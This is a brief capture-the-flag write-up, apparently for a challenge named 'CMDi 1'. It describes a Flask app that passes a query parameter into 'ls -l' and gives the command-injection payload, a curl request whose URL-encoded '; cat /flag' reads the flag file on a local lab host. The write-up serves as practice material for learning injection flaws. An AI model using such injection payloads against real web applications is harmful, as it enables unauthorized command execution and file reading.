Skip to content

Latest commit

 

History

History
16 lines (11 loc) · 315 Bytes

CMDi 1.md

File metadata and controls

16 lines (11 loc) · 315 Bytes

CMDi 1

cat /challenge/server

The Flask app takes a directory as query param (/adventure?dir) and executes ls -l {dir} Can inject ; cat <flag>

Start the server and use curl:

curl http://challenge.localhost:80/adventure?dir=.%3B%20cat%20%2Fflag

(URL-encoding of ".; cat /flag")